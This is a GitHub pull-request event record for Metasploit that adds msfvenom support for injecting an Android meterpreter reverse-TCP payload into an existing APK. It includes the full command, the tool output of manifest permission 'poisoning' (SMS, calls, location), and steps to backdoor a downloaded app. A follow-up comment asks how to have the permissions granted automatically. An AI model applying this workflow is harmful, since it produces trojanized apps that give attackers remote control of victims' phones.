{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6385","repository_url":"https://api.github.com/repos/rapid7/metasploit-framework","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6385/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6385/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6385/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/6385","id":123511590,"number":6385,"title":"Add msfvenom -x for Android payloads (fix #6229)","user":{"login":"timwr","id":684924,"avatar_url":"https://avatars.githubusercontent.com/u/684924?v=3","gravatar_id":"","url":"https://api.github.com/users/timwr","html_url":"https://github.com/timwr","followers_url":"https://api.github.com/users/timwr/followers","following_url":"https://api.github.com/users/timwr/following{/other_user}","gists_url":"https://api.github.com/users/timwr/gists{/gist_id}","starred_url":"https://api.github.com/users/timwr/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/timwr/subscriptions","organizations_url":"https://api.github.com/users/timwr/orgs","repos_url":"https://api.github.com/users/timwr/repos","events_url":"https://api.github.com/users/timwr/events{/privacy}","received_events_url":"https://api.github.com/users/timwr/received_events","type":"User","site_admin":false},"labels":[{"id":125500911,"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/feature","name":"feature","color":"bfe5bf","default":false},{"id":103443960,"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/meterpreter","name":"meterpreter","color":"5319e7","default":false},{"id":156918134,"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/msfvenom","name":"msfvenom","color":"207de5","default":false}],"state":"closed","locked":false,"assignee":{"login":"bcook-r7","id":10031469,"avatar_url":"https://avatars.githubusercontent.com/u/10031469?v=3","gravatar_id":"","url":"https://api.github.com/users/bcook-r7","html_url":"https://github.com/bcook-r7","followers_url":"https://api.github.com/users/bcook-r7/followers","following_url":"https://api.github.com/users/bcook-r7/following{/other_user}","gists_url":"https://api.github.com/users/bcook-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/bcook-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bcook-r7/subscriptions","organizations_url":"https://api.github.com/users/bcook-r7/orgs","repos_url":"https://api.github.com/users/bcook-r7/repos","events_url":"https://api.github.com/users/bcook-r7/events{/privacy}","received_events_url":"https://api.github.com/users/bcook-r7/received_events","type":"User","site_admin":false},"assignees":[{"login":"bcook-r7","id":10031469,"avatar_url":"https://avatars.githubusercontent.com/u/10031469?v=3","gravatar_id":"","url":"https://api.github.com/users/bcook-r7","html_url":"https://github.com/bcook-r7","followers_url":"https://api.github.com/users/bcook-r7/followers","following_url":"https://api.github.com/users/bcook-r7/following{/other_user}","gists_url":"https://api.github.com/users/bcook-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/bcook-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bcook-r7/subscriptions","organizations_url":"https://api.github.com/users/bcook-r7/orgs","repos_url":"https://api.github.com/users/bcook-r7/repos","events_url":"https://api.github.com/users/bcook-r7/events{/privacy}","received_events_url":"https://api.github.com/users/bcook-r7/received_events","type":"User","site_admin":false}],"milestone":null,"comments":30,"created_at":"2015-12-22T16:19:31Z","updated_at":"2016-12-13T11:29:19Z","closed_at":"2016-02-15T20:30:33Z","pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6385","html_url":"https://github.com/rapid7/metasploit-framework/pull/6385","diff_url":"https://github.com/rapid7/metasploit-framework/pull/6385.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/6385.patch"},"body":"This change integrates the apk_backdoor script from #5932 (thanks @Jack64!) into msfvenom (using the existing -x argument), e.g\n\n```\n$ msfvenom -x ../backtest/CameraSample.apk -p android/meterpreter/reverse_tcp LHOST=HANDLERIP LPORT=4444 -o met2.apk\nUsing APK template: ../backtest/CameraSample.apk\nNo platform was selected, choosing Msf::Module::Platform::Android from the payload\nNo Arch selected, selecting Arch: dalvik from the payload\n[*] Decompiling original APK..\n[*] Decompiling payload APK..\n[*] Locating onCreate() hook..\n[*] Copying payload files..\n[*] Loading /tmp/d20151222-6955-ai9rhh/original/smali/com/phonegap/camerasample/CameraSampleActivity.smali and injecting payload..\n[*] Poisoning the manifest with meterpreter permissions..\n[*] Adding android.permission.ACCESS_WIFI_STATE\n[*] Adding android.permission.CHANGE_WIFI_STATE\n[*] Adding android.permission.ACCESS_COURSE_LOCATION\n[*] Adding android.permission.SEND_SMS\n[*] Adding android.permission.CALL_PHONE\n[*] Adding android.permission.WRITE_SETTINGS\n[*] Adding android.permission.READ_SMS\n[*] Adding android.permission.RECEIVE_BOOT_COMPLETED\n[*] Rebuilding ../backtest/CameraSample.apk with meterpreter injection as /tmp/d20151222-6955-ai9rhh/output.apk\n[*] Signing /tmp/d20151222-6955-ai9rhh/output.apk\nPayload size: 154154 bytes\nSaved as: met2.apk\n```\n\nTo test:\n- [x] Get a random APK from the internet (or pull it from your device: `adb shell pm path com.apkpackagename; adb pull ...`)\n- [x] Add an android payload to it with `msfvenom -x downloaded.apk -p android/meterpreter/reverse_tcp LHOST=HANDLERIP LPORT=4444 -o met2.apk`\n- [x] Install it on a device (it will be signed already, but make sure the original isn't installed as the signature won't match)\n- [x] Click the app icon, ensure you get a working meterpreter session\n"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/266715096","html_url":"https://github.com/rapid7/metasploit-framework/pull/6385#issuecomment-266715096","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6385","id":266715096,"user":{"login":"ghostinov","id":3620785,"avatar_url":"https://avatars.githubusercontent.com/u/3620785?v=3","gravatar_id":"","url":"https://api.github.com/users/ghostinov","html_url":"https://github.com/ghostinov","followers_url":"https://api.github.com/users/ghostinov/followers","following_url":"https://api.github.com/users/ghostinov/following{/other_user}","gists_url":"https://api.github.com/users/ghostinov/gists{/gist_id}","starred_url":"https://api.github.com/users/ghostinov/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ghostinov/subscriptions","organizations_url":"https://api.github.com/users/ghostinov/orgs","repos_url":"https://api.github.com/users/ghostinov/repos","events_url":"https://api.github.com/users/ghostinov/events{/privacy}","received_events_url":"https://api.github.com/users/ghostinov/received_events","type":"User","site_admin":false},"created_at":"2016-12-13T11:29:19Z","updated_at":"2016-12-13T11:29:19Z","body":"@Jack64 Thanks, i reviewd the app permissions on the device, file permission were there but they were not enabled. i am running android 6.0 and was expecting the payload to work but needed to manually enable the permissions on the device. is there anything we can do to get the permissions enabled by default on app installation ? i realise that android 6.0 had added the runtime permissions check but is there any way to enable them?\r\n"}}
{"actor":{"display_login":"ghostinov"}}